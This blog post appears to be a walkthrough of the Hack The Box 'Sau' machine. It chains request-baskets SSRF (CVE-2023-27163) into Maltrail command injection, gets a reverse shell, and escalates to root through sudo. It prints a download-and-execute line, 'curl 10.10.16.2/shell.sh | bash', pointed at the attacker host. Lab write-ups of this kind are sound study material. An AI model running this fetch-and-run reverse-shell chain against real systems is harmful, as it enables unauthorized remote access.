Tech

HTB Walkthrough – Sau (Open Beta Season II)

Enumeration

Port

Port scanned sau.htb (10.10.11.224) using the following command:

Nmap results highlighted that a web application is running on port 55555/tcp

Web

request-baskets

Web application on 55555/tcp was identified to be request-baskets (version 1.2.1).

Request-Baskets (version 1.2.1) running on sau.htb

The web application, request-baskets (version 1.2.1), is vulnerable to CVE-2023-27163. It allows attackers to access network resources and sensitive information via a crafted API request. The attack vector is documented as part of the CVE writeup.

Maltrail

The box was enumerated further to discover any internal or locally hosted web resources. As this is a single machine environment, we will only enumerate localhost (127.0.0.1)

A request-basket (sandy566) was created to enumerate service running locally (localhost) on the target. We will start with well known ports like 80/tcp, 8080/tcp, etc. The following API request was crafted for port 80/tcp:

Creating a request-basket to enumerate localhost service

Navigated to the newly created request basket at http://10.10.11.224:55555/sandy566 and it revealed a locally hosted web application running Maltrail (version 0.53) on port 80/tcp.

Maltrail (version 0.53) running on localhost on port 80/tcp

Based on research, Maltrail <= v0.54 is vulnerable to unauthenticated OS command injection during the login process according to here (https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/). We will leverage this for initial foothold on the machine.

Initial foothold

The objective is to leverage Maltrail’s vulnerability on unauthenticated OS command to establish a reverse shell (bash) back to the attacker machine.

Generate reverse shell payload

Start a http server to distribute reverse shell

In the directory containing shell.sh created in the previous step, start a python http server using:

Start a netcat listener

Start a netcat listener to catch the callback

Exploiting Maltrail

Request the web application to execute OS command to download and execute the shell.sh from our machine (curl 10.10.16.2/shell.sh | bash).

Upon executing the above command, we received a call back from 10.10.11.224 (sau.htb) under user (puma).

Received callback from machine.

Privilege Escalation

After enumerating the machine using linpeas.sh, we found that the user (puma) has sudo rights to some command(s).

User puma has sudo rights to some commands.

Executed the command and triggered a shell under root.

Successfully privilege escalated as root.
This site contains links to Amazon. These links will take you to some of the products mentioned in today’s article. As an Amazon Associate, I earn from qualifying purchases.